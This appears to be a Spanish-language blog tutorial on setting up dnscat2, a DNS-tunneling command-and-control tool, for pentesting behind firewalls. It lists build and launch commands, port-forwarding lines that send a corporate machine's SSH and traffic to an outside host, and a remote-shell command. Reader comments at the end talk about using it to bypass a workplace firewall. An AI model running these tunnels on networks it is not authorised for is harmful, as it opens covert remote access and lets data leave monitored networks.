En el anterior articulo hablamos de como evitar los portales cautivos,pero ¿y si quisiéramos realizar un test de intrusión o testear un equipo que esta bajo un firewall?
Para estos casos usaremos DnsCat2(que es la nueva versión de la antigua DnsCat), dnscat2 es una herramienta para la realización de túneles cifrados encima de un protocolo DNS, la herramienta consta de dos partes una cliente y otra servidora. Pero dnscat2 no es una simple herramienta para crear túneles si no que ha sido diseñada como una herramienta de control de comandos que nos permite tunelar cualquier dato que enviemos aunque este no tenga un protocolo adjunto, podremos descargar archivos,arrancar shells, usar herramientas de análisis de pentesting etc..
Instalacion Cliente
- Descargamos el cliente desde github
git clone https://github.com/iagox86/dnscat2.git
- Accedemos al directorio
cd dnscat2/client/
- Compilamos
make
Instalacion Servidor El servidor esta escrito en ruby, por lo que necesitaremos antes instalar unas pequeñas dependencias – Instalamos las dependencias de ruby
apt-get install ruby-full
- Accedemos al directorio del server
cd dnscat2/server/
- Instalamos gem(como root)
gem install bundler bundle install
Si la instalación nos da error, instalamos el paquete dev de ruby
apt-get install ruby-dev
Funcionamiento
- Arrancamos el servidor DnsCat2 indicando nuestro dominio, donde esta el servicio DNS(como en al articuo anterior)
ruby ./dnscat2.rb nuestrodominio
-Arrancamos el cliente
./dnscat2 nuestrodominio
Ahora Dnscat2 creara una «sesion» entre los dos equipos que no es mas que una simple conexión virtual entre servidor y cliente,cada sesión tiene una id único y cada cliente puede realizar múltiples sesiones.
El funcionamiento es simple, solo tenemos que introducir las instrucciones en el cliente que se le enviaran al servidor y la ejecutara, ejemplos:
- Redirigir todas las conexiones ssh que se están produciendo bajo dnscat2 en un equipo de una red corporativa a un equipo externo
listen 127.0.0.1:2222 ipexterna:22
- Enviar todo el trafico de un puerto local a un equipo remoto
listen 4444 www.servidorpublicacion:80
- Crear una shell en el equipo remoto
shell
Podremos ver un listado de las sesiones establecidas en cualquier momento con
sessions
elegir una sesion interactiva con
session idsesion
o eliminarla con
kill session
Referencias: https://github.com/iagox86/dnscat2
Muy bueno pelirrojo. Me servirá en hoteles y aeropuertos :).
O mejor dicho, en el trabajo para saltar el cortafuegos.